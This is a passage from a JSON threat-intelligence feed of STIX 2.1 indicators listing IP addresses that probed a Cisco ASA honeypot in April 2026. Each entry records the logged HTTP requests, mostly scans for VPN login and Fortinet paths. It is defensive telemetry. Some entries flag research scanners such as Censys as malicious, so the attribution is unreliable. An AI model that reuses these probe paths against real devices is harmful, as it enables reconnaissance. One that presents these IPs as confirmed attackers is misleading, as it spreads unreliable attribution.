          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-01T00:23:31.526Z",
          "last_seen": "2026-04-01T00:30:37.195Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6e782131-7a3e-4e31-8e5a-47a0aa6f733b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T00:28:05.808Z",
          "last_seen": "2026-04-01T00:28:05.808Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7fb1d0ed-87a3-4ea8-9798-733306fd82d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T00:28:04.510Z",
          "last_seen": "2026-04-01T00:28:04.510Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T01:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a3b24c39-b944-4a3e-9b49-c568c263310c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T01:20:12.000Z",
      "valid_until": "2026-05-03T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-01T00:25:43.829Z",
          "last_seen": "2026-04-01T00:28:25.232Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:20:10.000Z",
      "valid_until": "2026-05-03T02:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-01T02:05:07.490Z",
          "last_seen": "2026-04-01T02:05:10.494Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: PROPFIND / HTTP/1.1\" - - geo: NL; ASN 211443 (Sino Worldwide Trading Limited)",
      "id": "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.151.178.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T04:20:02.000Z",
      "valid_until": "2026-05-03T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-01T03:42:55.491Z",
          "last_seen": "2026-04-01T12:05:59.880Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 211443,
          "as_org": "Sino Worldwide Trading Limited",
          "event_types": [
            "\"PROPFIND / HTTP/1.1\" - -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /sslvpn_logon.shtml HTTP/1.1\" 404 - geo: BG; ASN 50360 (Tamatiya EOOD)",
      "id": "indicator--2f3dfeb5-f446-4f85-acda-c4518b26789c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.124.49.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T06:20:10.000Z",
      "valid_until": "2026-05-03T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T06:14:01.758Z",
          "last_seen": "2026-04-01T06:14:01.758Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 50360,
          "as_org": "Tamatiya EOOD",
          "event_types": [
            "\"GET /sslvpn_logon.shtml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--707f4d66-5ac0-40b6-b033-e25236be615d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.124.173.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:20:10.000Z",
      "valid_until": "2026-05-03T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-01T06:59:13.535Z",
          "last_seen": "2026-04-01T06:59:16.539Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--5d711ad2-d6aa-49c6-affa-8bc4e3a11505",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:20:10.000Z",
      "valid_until": "2026-05-03T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-01T07:08:01.157Z",
          "last_seen": "2026-04-01T07:10:26.905Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T08:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: RU; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--3226854a-af16-4473-8524-32cf67381518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.113.235.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:20:24.000Z",
      "valid_until": "2026-05-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 666,
          "first_seen": "2026-04-01T07:41:10.008Z",
          "last_seen": "2026-04-08T20:53:41.580Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T12:20:32.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--9bdf95a4-404e-4a43-af2c-8aaa6289ce33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.62.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T12:20:32.000Z",
      "valid_until": "2026-05-03T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T11:32:59.845Z",
          "last_seen": "2026-04-01T11:32:59.845Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/common.js HTTP/1.1\" 404 - geo: HK; ASN 132203 (Tencent Building, Kejizhongyi Avenue)",
      "id": "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.132.207.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T17:20:11.000Z",
      "valid_until": "2026-05-03T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 52,
          "first_seen": "2026-04-01T17:12:54.513Z",
          "last_seen": "2026-04-29T20:30:29.644Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 132203,
          "as_org": "Tencent Building, Kejizhongyi Avenue",
          "event_types": [
            "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--837a7d39-53d1-45c7-86c3-41f0557a0d8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.39.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T18:20:11.000Z",
      "valid_until": "2026-05-03T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-01T18:01:58.331Z",
          "last_seen": "2026-04-01T18:02:08.433Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /api/v1/namespaces HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"HELP\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T18:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.143.162.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T18:20:11.000Z",
      "valid_until": "2026-05-03T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-01T17:58:31.862Z",
          "last_seen": "2026-04-01T17:58:34.866Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--bb6612fa-6213-415d-9201-380933e22b32",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.134.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:20:11.000Z",
      "valid_until": "2026-05-03T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-01T18:28:39.307Z",
          "last_seen": "2026-04-01T18:29:20.630Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--066e8bdd-c4f1-4982-bc88-b0dadcf576d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:20:11.000Z",
      "valid_until": "2026-05-03T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-01T18:29:56.878Z",
          "last_seen": "2026-04-01T18:29:59.880Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 200730 (ISAEV Igor)",
      "id": "indicator--d2cb2a69-d736-450c-b1ae-74f5c74e3d2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T19:20:11.000Z",
      "valid_until": "2026-05-03T19:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-01T18:35:37.547Z",
          "last_seen": "2026-04-01T18:35:46.916Z",
          "country": "United States",
          "country_code": "US",
          "asn": 200730,
          "as_org": "ISAEV Igor",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /RDWeb/Pages/ HTTP/1.1\" 404 -",
            "\"GET /login HTTP/1.1\" 404 -",
            "\"GET /remote/login?lang=en HTTP/1.1\" 404 -",
            "\"GET /sslvpn_logon.shtml HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T20:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--468490fe-c298-46e1-88c3-4091b87793a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T20:20:11.000Z",
      "valid_until": "2026-05-03T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-01T20:05:28.683Z",
          "last_seen": "2026-04-04T02:24:13.591Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 979 (NetLab Global)",
      "id": "indicator--76ceb890-1022-48b8-af8f-cda5630e5487",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.27.76.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T21:20:10.000Z",
      "valid_until": "2026-05-03T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-01T20:47:20.456Z",
          "last_seen": "2026-04-01T20:47:20.456Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 979,
          "as_org": "NetLab Global",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--733909ad-e7b8-4f1f-ba12-9c6426b45650",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.174.222.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T01:20:11.000Z",
      "valid_until": "2026-05-04T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-02T00:59:06.942Z",
          "last_seen": "2026-04-25T00:58:33.291Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T01:20:11.000Z",
